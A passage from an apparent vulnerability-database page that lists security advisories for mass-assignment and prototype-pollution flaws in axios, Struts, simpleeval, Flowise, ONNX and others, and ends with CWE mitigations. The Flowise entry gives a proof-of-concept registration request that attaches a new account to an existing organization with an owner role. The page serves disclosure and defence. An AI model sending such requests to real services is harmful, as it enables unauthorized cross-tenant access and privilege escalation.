\u2014 only specific values are changed\n- No errors, no crashes, no suspicious behavior\n- Application logs show normal-looking API responses with tampered values\n\n## Recommended Fix\n\n### Fix 1: Use `hasOwnProperty` check before using `parseReviver`\n\n```javascript\n// FIXED: lib/defaults/index.js\nconst reviver = Object.prototype.hasOwnProperty.call(this, \u0027parseReviver\u0027)\n ? this.parseReviver\n : undefined;\nreturn JSON.parse(data, reviver);\n```\n\n### Fix 2: Use null-prototype config object\n\n```javascript\n// In lib/core/mergeConfig.js\nconst config = Object.create(null);\n```\n\n### Fix 3: Validate `parseReviver` type and source\n\n```javascript\n// FIXED: lib/defaults/index.js\nconst reviver = (typeof this.parseReviver === \u0027function\u0027 \u0026\u0026\n Object.prototype.hasOwnProperty.call(this, \u0027parseReviver\u0027))\n ? this.parseReviver\n : undefined;\nreturn JSON.parse(data, reviver);\n```\n\n## Relationship to Other Reported Gadgets\n\nThis vulnerability shares the same **root cause class** \u2014 unsafe prototype chain traversal on the merged config object \u2014 with two other reported gadgets:\n\n| Report | PP Target | Code Location | Fix Location | Impact |\n|---|---|---|---|---|\n| axios_26 | `transformResponse` | `mergeConfig.js:49` (defaultToConfig2) | `mergeConfig.js` | Credential theft, response replaced with `true` |\n| axios_30 | `proxy` | `http.js:670` (direct property access) | `http.js` | Full MITM, traffic interception |\n| **axios_31 (this)** | `parseReviver` | `defaults/index.js:124` (this.parseReviver) | `defaults/index.js` | **Selective JSON value tampering + data exfiltration** |\n\n### Why These Are Distinct Vulnerabilities\n\n1. **Different polluted properties:** Each targets a different `Object.prototype` key.\n2. **Different code paths:** `transformResponse` enters via `mergeConfig`; `proxy` is read directly by `http.js`; `parseReviver` is read inside the default `transformResponse` function\u0027s `JSON.parse` call.\n3. **Different fix locations:** Fixing `mergeConfig.js` (axios_26) does NOT fix `defaults/index.js:124` (this vulnerability). Fixing `http.js:670` (axios_30) does NOT fix this either. Each requires a separate patch.\n4. **Different impact profiles:** `transformResponse` is constrained to return `true`; `proxy` requires a proxy server; `parseReviver` enables constraint-free selective value modification.\n\n### Comprehensive Fix\n\nWhile each vulnerability requires a location-specific patch, the comprehensive fix is to use **null-prototype objects** (`Object.create(null)`) for the merged config in `mergeConfig.js`, which would eliminate prototype chain traversal for all config property accesses and address all three gadgets at once. The maintainer may choose to assign a single CVE covering the root cause or separate CVEs for each distinct exploitation path \u2014 we defer to the maintainer\u0027s judgment on this.\n\n## Resources\n\n- [CWE-1321: Prototype Pollution](https://cwe.mitre.org/data/definitions/1321.html)\n- [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)\n- [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0)](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)\n- [MDN: JSON.parse reviver](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse#the_reviver_parameter)\n- [Axios GitHub Repository](https://github.com/axios/axios)\n\n## Timeline\n\n| Date | Event |\n|---|---|\n| 2026-04-16 | Vulnerability discovered during source code audit |\n| 2026-04-16 | PoC developed and verified \u2014 selective response tampering confirmed |\n| TBD | Report submitted to vendor via GitHub Security Advisory |",
"id": "GHSA-3w6x-2g7m-8v23",
"modified": "2026-05-05T00:19:33Z",
"published": "2026-05-05T00:19:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-3w6x-2g7m-8v23"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42044"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Axios: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver`"
}
GHSA-43MQ-6XMG-29VM
Vulnerability from github – Published: 2024-12-11 18:30 – Updated: 2025-07-15 23:05File upload logic is flawed vulnerability in Apache Struts. An attacker can manipulate file upload params to enable paths traversal and under some circumstances this can lead to uploading a malicious file which can be used to perform Remote Code Execution.
This issue affects Apache Struts: from 2.0.0 before 6.4.0.
Users are recommended to upgrade to version 6.4.0 at least and migrate to the new file upload mechanism https://struts.apache.org/core-developers/file-upload. If you are not using an old file upload logic based on FileuploadInterceptor your application is safe.
You can find more details in https://cwiki.apache.org/confluence/display/WW/S2-067 .
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.struts:struts2-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-53677"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-434",
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2024-12-11T22:02:54Z",
"nvd_published_at": "2024-12-11T16:15:14Z",
"severity": "CRITICAL"
},
"details": "File upload logic is flawed vulnerability in Apache Struts. An attacker can manipulate file upload params to enable paths traversal and under some circumstances this can lead to uploading a malicious file which can be used to perform Remote Code Execution.\n\nThis issue affects Apache Struts: from 2.0.0 before 6.4.0.\n\nUsers are recommended to upgrade to version 6.4.0 at least and migrate to the new file upload mechanism https://struts.apache.org/core-developers/file-upload. If you are not using an old file upload logic based on FileuploadInterceptor your application is safe.\n\nYou can find more details in\u00a0 https://cwiki.apache.org/confluence/display/WW/S2-067 .",
"id": "GHSA-43mq-6xmg-29vm",
"modified": "2025-07-15T23:05:23Z",
"published": "2024-12-11T18:30:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-53677"
},
{
"type": "WEB",
"url": "https://github.com/apache/struts/commit/1ecfbae46543a83e131404f8dcc84b3d0d554854"
},
{
"type": "WEB",
"url": "https://github.com/apache/struts/commit/3ef9ade8902a63bb560892453eeca02bfddefc78"
},
{
"type": "WEB",
"url": "https://github.com/apache/struts/commit/930fef7679d7247db9e460c146b1698a9d7ad1e4"
},
{
"type": "WEB",
"url": "https://cwiki.apache.org/confluence/display/WW/S2-067"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/struts"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20250103-0005"
},
{
"type": "WEB",
"url": "https://struts.apache.org/core-developers/file-upload"
},
{
"type": "WEB",
"url": "https://www.dynatrace.com/news/blog/the-anatomy-of-broken-apache-struts-2-a-technical-deep-dive-into-cve-2024-53677"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/S:N/AU:Y/R:A/V:C/RE:L/U:Red",
"type": "CVSS_V4"
}
],
"summary": "Apache Struts file upload logic is flawed"
}
GHSA-44VG-5WV2-H2HG
Vulnerability from github – Published: 2026-03-13 20:56 – Updated: 2026-06-08 19:47Impact
If the objects passed in as names to SimpleEval have modules or other disallowed / dangerous objects available as attrs.
Additionally, dangerous functions or modules could be accessed by passing them as callbacks to other safe functions to call.
Examples (found by @ByamB4):
Any module where non-underscore attribute chains reach os or sys: - os.path, pathlib, shutil, glob (direct .os / .sys attributes) - statistics (has .sys) - numpy (has .ctypeslib.os and .f2py.sys) - urllib.parse (has .warnings.sys)
Patches
The latest version 1.0.5 has this issue fixed.
Workarounds
Don't pass in objects or modules which have direct attributes to potentially dangerous items. Use a wrapper to wrap the potentially vulnerable items (See the ModuleWrapper in version 1.0.5)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "simpleeval"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32640"
],
"database_specific": {
"cwe_ids": [
"CWE-915",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-13T20:56:26Z",
"nvd_published_at": "2026-03-16T14:19:40Z",
"severity": "HIGH"
},
"details": "### Impact\nIf the objects passed in as `names` to SimpleEval have modules or other disallowed / dangerous objects available as attrs.\nAdditionally, dangerous functions or modules could be accessed by passing them as callbacks to other safe functions to call.\n\nExamples (found by @ByamB4):\n\nAny module where non-underscore attribute chains reach os or sys:\n- os.path, pathlib, shutil, glob (direct .os / .sys attributes)\n- statistics (has .sys)\n- numpy (has .ctypeslib.os and .f2py.sys)\n- urllib.parse (has .warnings.sys)\n\n### Patches\nThe latest version 1.0.5 has this issue fixed.\n\n### Workarounds\nDon\u0027t pass in objects or modules which have direct attributes to potentially dangerous items.\nUse a wrapper to wrap the potentially vulnerable items (See the ModuleWrapper in version 1.0.5)",
"id": "GHSA-44vg-5wv2-h2hg",
"modified": "2026-06-08T19:47:08Z",
"published": "2026-03-13T20:56:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/danthedeckie/simpleeval/security/advisories/GHSA-44vg-5wv2-h2hg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32640"
},
{
"type": "PACKAGE",
"url": "https://github.com/danthedeckie/simpleeval"
},
{
"type": "WEB",
"url": "https://github.com/danthedeckie/simpleeval/releases/tag/1.0.5"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/simpleeval/PYSEC-2026-132.yaml"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2026/04/msg00023.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "SimpleEval: Objects (including modules) can leak dangerous modules through to direct access inside the sandbox"
}
GHSA-48M6-CH88-55MJ
Vulnerability from github – Published: 2026-04-16 21:44 – Updated: 2026-04-24 20:57Summary
An improper mass assignment (JSON injection) vulnerability in the account registration endpoint of Flowise Cloud allows unauthenticated attackers to inject server-managed fields and nested objects during account creation. This enables client-controlled manipulation of ownership metadata, timestamps, organization association, and role mappings, breaking trust boundaries in a multi-tenant environment.
Details
The POST /api/v1/account/register endpoint is intended to accept a minimal payload to create a new user account (e.g., name, email, password). However, the backend fails to enforce a strict allowlist or DTO-based validation and instead blindly maps client-supplied JSON to internal domain models.
As a result, attackers can include additional nested objects and server-managed fields in the request body such as organization, organizationUser, workspace, workspaceUser, and metadata fields like createdBy, updatedBy, createdDate, and updatedDate. These fields are persisted as provided by the client rather than being generated or validated server-side.
This behavior demonstrates a trust boundary violation where authorization and ownership decisions that must be enforced by the server are effectively delegated to untrusted client input. In a multi-tenant SaaS context, this can lead to unauthorized organization association and role assignment during registration.
PoC
Send a standard registration request:
POST /api/v1/account/register HTTP/2
Host: cloud.flowiseai.com
Content-Type: application/json
{
"user": {
"name": "Test User",
"email": "testuser@example.com",
"credential": "StrongPassword123!"
}
}
Observe the 201 Created response returning a newly created user and related objects (organization, workspace, roles).
Send a modified registration request that injects additional server-managed fields and nested objects:
POST /api/v1/account/register HTTP/2 Host: cloud.flowiseai.com Content-Type: application/json
{
"user": {
"name": "Injected User",
"email": "injected@example.com",
"credential": "StrongPassword123!",
"createdBy": "<arbitrary-uuid>",
"updatedBy": "<arbitrary-uuid>",
"createdDate": "1999-12-27T13:10:47.666Z",
"updatedDate": "1999-12-27T13:10:47.666Z"
},
"organization": {
"id": "<existing-organization-uuid>",
"name": "Injected Organization"
},
"organizationUser": {
"organizationId": "<existing-organization-uuid>",
"roleId": "<owner-role-uuid>"
}
}
Observe that the server responds with 201 Created and persists the injected fields, reflecting client-controlled values for ownership metadata, timestamps, and organization association.
Impact
- Vulnerability Class: Mass Assignment / JSON Injection / Improper Input Validation.
- Who is impacted: All deployments of Flowise Cloud exposing the registration endpoint.
By supplying a known organizationId during registration, an unauthenticated attacker can create a new user account directly associated with an existing organization they do not belong to. This results in unauthorized cross-tenant access and privilege escalation at account creation time, completely bypassing organizational ownership and trust boundaries.
Security Consequences:
- Client-controlled manipulation of server-managed fields (audit timestamps, ownership metadata).
- Unauthorized association of newly created accounts with existing organizations.
- Injection of role and membership relationships during registration.
- Violation of trust boundaries in a multi-tenant environment, increasing the risk of privilege abuse and audit integrity failures.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.0.13"
},
"package": {
"ecosystem": "npm",
"name": "flowise"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41267"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-639",
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-16T21:44:24Z",
"nvd_published_at": "2026-04-23T20:16:15Z",
"severity": "HIGH"
},
"details": "### Summary\n\nAn improper mass assignment (JSON injection) vulnerability in the account registration endpoint of Flowise Cloud allows unauthenticated attackers to inject server-managed fields and nested objects during account creation. This enables client-controlled manipulation of ownership metadata, timestamps, organization association, and role mappings, breaking trust boundaries in a multi-tenant environment.\n\n### Details\n\nThe POST /api/v1/account/register endpoint is intended to accept a minimal payload to create a new user account (e.g., name, email, password). However, the backend fails to enforce a strict allowlist or DTO-based validation and instead blindly maps client-supplied JSON to internal domain models.\n\nAs a result, attackers can include additional nested objects and server-managed fields in the request body such as organization, organizationUser, workspace, workspaceUser, and metadata fields like createdBy, updatedBy, createdDate, and updatedDate. These fields are persisted as provided by the client rather than being generated or validated server-side.\n\nThis behavior demonstrates a trust boundary violation where authorization and ownership decisions that must be enforced by the server are effectively delegated to untrusted client input. In a multi-tenant SaaS context, this can lead to unauthorized organization association and role assignment during registration.\n\n### PoC\nSend a standard registration request:\n\n```http\nPOST /api/v1/account/register HTTP/2\nHost: cloud.flowiseai.com\nContent-Type: application/json\n\n{\n \"user\": {\n \"name\": \"Test User\",\n \"email\": \"testuser@example.com\",\n \"credential\": \"StrongPassword123!\"\n }\n}\n```\n\n\nObserve the 201 Created response returning a newly created user and related objects (organization, workspace, roles).\n\nSend a modified registration request that injects additional server-managed fields and nested objects:\n\nPOST /api/v1/account/register HTTP/2\nHost: cloud.flowiseai.com\nContent-Type: application/json\n\n```http\n{\n \"user\": {\n \"name\": \"Injected User\",\n \"email\": \"injected@example.com\",\n \"credential\": \"StrongPassword123!\",\n \"createdBy\": \"\u003carbitrary-uuid\u003e\",\n \"updatedBy\": \"\u003carbitrary-uuid\u003e\",\n \"createdDate\": \"1999-12-27T13:10:47.666Z\",\n \"updatedDate\": \"1999-12-27T13:10:47.666Z\"\n },\n \"organization\": {\n \"id\": \"\u003cexisting-organization-uuid\u003e\",\n \"name\": \"Injected Organization\"\n },\n \"organizationUser\": {\n \"organizationId\": \"\u003cexisting-organization-uuid\u003e\",\n \"roleId\": \"\u003cowner-role-uuid\u003e\"\n }\n}\n```\n\n\nObserve that the server responds with 201 Created and persists the injected fields, reflecting client-controlled values for ownership metadata, timestamps, and organization association.\n\n### Impact\n- Vulnerability Class: Mass Assignment / JSON Injection / Improper Input Validation.\n- Who is impacted: All deployments of Flowise Cloud exposing the registration endpoint.\n\nBy supplying a known organizationId during registration, an unauthenticated attacker can create a new user account directly associated with an existing organization they do not belong to. This results in unauthorized cross-tenant access and privilege escalation at account creation time, completely bypassing organizational ownership and trust boundaries.\n\n**Security Consequences**:\n\n1. Client-controlled manipulation of server-managed fields (audit timestamps, ownership metadata).\n2. Unauthorized association of newly created accounts with existing organizations.\n3. Injection of role and membership relationships during registration.\n4. Violation of trust boundaries in a multi-tenant environment, increasing the risk of privilege abuse and audit integrity failures.",
"id": "GHSA-48m6-ch88-55mj",
"modified": "2026-04-24T20:57:49Z",
"published": "2026-04-16T21:44:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-48m6-ch88-55mj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41267"
},
{
"type": "PACKAGE",
"url": "https://github.com/FlowiseAI/Flowise"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Flowise: Improper Mass Assignment in Account Registration Enables Unauthorized Organization Association"
}
GHSA-4FH9-H7WG-Q85M
Vulnerability from github – Published: 2025-12-02 01:25 – Updated: 2026-02-06 19:00Impact
Multiple (unprefixed) classnames could be added in markdown source by using character references.
This could make rendered user supplied markdown code elements appear like the rest of the page.
The following markdown:
```js xss
```
Would create <pre><code class="language-js xss"></code></pre>
If your page then applied .xss classes (or listeners in JS), those apply to this element.
For more info see https://github.com/ChALkeR/notes/blob/master/Improper-markup-sanitization.md#unsanitized-class-attribute
Patches
The bug was patched. When using regular semver, run npm install. For exact ranges, make sure to use 13.2.1.
Workarounds
Update.
References
- bug introduced in https://github.com/syntax-tree/mdast-util-to-hast/commit/6fc783ae6abdeb798fd5a68e7f3f21411dde7403
- bug fixed in https://github.com/syntax-tree/mdast-util-to-hast/commit/ab3a79570a1afbfa7efef5d4a0cd9b5caafbc5d7
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "mdast-util-to-hast"
},
"ranges": [
{
"events": [
{
"introduced": "13.0.0"
},
{
"fixed": "13.2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-66400"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-02T01:25:46Z",
"nvd_published_at": "2025-12-01T23:15:53Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nMultiple (unprefixed) classnames could be added in markdown source by using character references.\nThis could make rendered user supplied markdown `code` elements appear like the rest of the page.\nThe following markdown:\n\n````markdown\n```js\u0026#x20;xss\n```\n````\n\nWould create `\u003cpre\u003e\u003ccode class=\"language-js xss\"\u003e\u003c/code\u003e\u003c/pre\u003e`\nIf your page then applied `.xss` classes (or listeners in JS), those apply to this element.\nFor more info see \u003chttps://github.com/ChALkeR/notes/blob/master/Improper-markup-sanitization.md#unsanitized-class-attribute\u003e\n\n### Patches\n\nThe bug was patched. When using regular semver, run `npm install`. For exact ranges, make sure to use `13.2.1`.\n\n### Workarounds\n\nUpdate.\n\n### References\n\n* bug introduced in https://github.com/syntax-tree/mdast-util-to-hast/commit/6fc783ae6abdeb798fd5a68e7f3f21411dde7403\n* bug fixed in https://github.com/syntax-tree/mdast-util-to-hast/commit/ab3a79570a1afbfa7efef5d4a0cd9b5caafbc5d7",
"id": "GHSA-4fh9-h7wg-q85m",
"modified": "2026-02-06T19:00:13Z",
"published": "2025-12-02T01:25:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/syntax-tree/mdast-util-to-hast/security/advisories/GHSA-4fh9-h7wg-q85m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66400"
},
{
"type": "WEB",
"url": "https://github.com/syntax-tree/mdast-util-to-hast/commit/6fc783ae6abdeb798fd5a68e7f3f21411dde7403"
},
{
"type": "WEB",
"url": "https://github.com/syntax-tree/mdast-util-to-hast/commit/ab3a79570a1afbfa7efef5d4a0cd9b5caafbc5d7"
},
{
"type": "PACKAGE",
"url": "https://github.com/syntax-tree/mdast-util-to-hast"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "mdast-util-to-hast has unsanitized class attribute"
}
GHSA-4FR2-J4G9-MPPF
Vulnerability from github – Published: 2021-09-24 15:42 – Updated: 2023-09-07 22:37Prototype pollution vulnerability in 'deephas' versions 1.0.0 through 1.0.5 allows attacker to cause a denial of service and may lead to remote code execution.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "deephas"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"last_affected": "1.0.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-28271"
],
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2021-07-26T18:25:52Z",
"nvd_published_at": "2020-11-12T18:15:00Z",
"severity": "CRITICAL"
},
"details": "Prototype pollution vulnerability in \u0027deephas\u0027 versions 1.0.0 through 1.0.5 allows attacker to cause a denial of service and may lead to remote code execution.",
"id": "GHSA-4fr2-j4g9-mppf",
"modified": "2023-09-07T22:37:35Z",
"published": "2021-09-24T15:42:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-28271"
},
{
"type": "WEB",
"url": "https://github.com/sharpred/deepHas/commit/2fe011713a6178c50f7deb6f039a8e5435981e20"
},
{
"type": "WEB",
"url": "https://www.whitesourcesoftware.com/vulnerability-database/CVE-2020-28271"
},
{
"type": "WEB",
"url": "https://www.whitesourcesoftware.com/vulnerability-database/CVE-2020-28271,"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Prototype Pollution in deephas"
}
GHSA-4MVJ-RQ4V-2FXW
Vulnerability from github – Published: 2021-10-21 17:50 – Updated: 2022-12-03 03:56This vulnerability affects all versions of package x-assign. The global proto object can be polluted using the proto object.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "x-assign"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.1.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-23452"
],
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2021-10-21T14:54:57Z",
"nvd_published_at": "2021-10-20T13:15:00Z",
"severity": "HIGH"
},
"details": "This vulnerability affects all versions of package x-assign. The global proto object can be polluted using the __proto__ object.",
"id": "GHSA-4mvj-rq4v-2fxw",
"modified": "2022-12-03T03:56:39Z",
"published": "2021-10-21T17:50:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23452"
},
{
"type": "PACKAGE",
"url": "https://github.com/mvoorberg/x-assign"
},
{
"type": "WEB",
"url": "https://runkit.com/embed/sq8qjwemyn8t"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JS-XASSIGN-1759314"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Prototype Pollution in x-assign"
}
GHSA-538C-55JV-C5G9
Vulnerability from github – Published: 2026-04-01 21:10 – Updated: 2026-04-01 21:10Summary
The ExternalDataInfo class in ONNX was using Python’s setattr() function to load metadata (like file paths or data lengths) directly from an ONNX model file. The problem? It didn’t check if the "keys" in the file were valid. Because it blindly trusted the file, an attacker could craft a malicious model that overwrites internal object properties.
Why its Dangerous
Instant Crash DoS: An attacker can set the length property to a massive number like 9 petabytes. When the system tries to load the model, it attempts to allocate all that RAM at once, causing the server to crash or freeze Out of Memory.
Access Bypass: By setting a negative offset -1, an attacker can trick the system into reading parts of a file it wasn't supposed to touch.
Object Corruption: Attackers can even inject "dunder" attributes like class to change the object's type entirely, which could lead to more complex exploits.
Fixed: https://github.com/onnx/onnx/pull/7751 object state corruption and DoS via ExternalDataInfo attribute injection
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.20.1"
},
"package": {
"ecosystem": "PyPI",
"name": "onnx"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.21.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34445"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-400",
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-01T21:10:52Z",
"nvd_published_at": "2026-04-01T18:16:30Z",
"severity": "HIGH"
},
"details": "### Summary\nThe ExternalDataInfo class in ONNX was using Python\u2019s setattr() function to load metadata (like file paths or data lengths) directly from an ONNX model file. The problem? It didn\u2019t check if the \"keys\" in the file were valid. Because it blindly trusted the file, an attacker could craft a malicious model that overwrites internal object properties.\n\n### Why its Dangerous\n**Instant Crash DoS**: An attacker can set the length property to a massive number like 9 petabytes. When the system tries to load the model, it attempts to allocate all that RAM at once, causing the server to crash or freeze Out of Memory.\n\n**Access Bypass**: By setting a negative offset -1, an attacker can trick the system into reading parts of a file it wasn\u0027t supposed to touch.\n\n**Object Corruption**: Attackers can even inject \"dunder\" attributes like __class__ to change the object\u0027s type entirely, which could lead to more complex exploits.\n\n**Fixed**: https://github.com/onnx/onnx/pull/7751 object state corruption and DoS via ExternalDataInfo attribute injection",
"id": "GHSA-538c-55jv-c5g9",
"modified": "2026-04-01T21:10:52Z",
"published": "2026-04-01T21:10:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/onnx/onnx/security/advisories/GHSA-538c-55jv-c5g9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34445"
},
{
"type": "WEB",
"url": "https://github.com/onnx/onnx/pull/7751"
},
{
"type": "WEB",
"url": "https://github.com/onnx/onnx/commit/e30c6935d67cc3eca2fa284e37248e7c0036c46b"
},
{
"type": "PACKAGE",
"url": "https://github.com/onnx/onnx"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H",
"type": "CVSS_V3"
}
],
"summary": "ONNX: Malicious ONNX models can crash servers by exploiting unprotected object settings."
}
Mitigation
- If available, use features of the language or framework that allow specification of allowlists of attributes or fields that are allowed to be modified. If possible, prefer allowlists over denylists.
- For applications written with Ruby on Rails, use the attr_accessible (allowlist) or attr_protected (denylist) macros in each class that may be used in mass assignment.
Mitigation
If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.
Mitigation
Strategy: Input Validation
For any externally-influenced input, check the input against an allowlist of internal object attributes or fields that are allowed to be modified.
Mitigation
Strategy: Refactoring
Refactor the code so that object attributes or fields do not need to be dynamically identified, and only expose getter/setter functionality for the intended attributes.
No CAPEC attack patterns related to this CWE.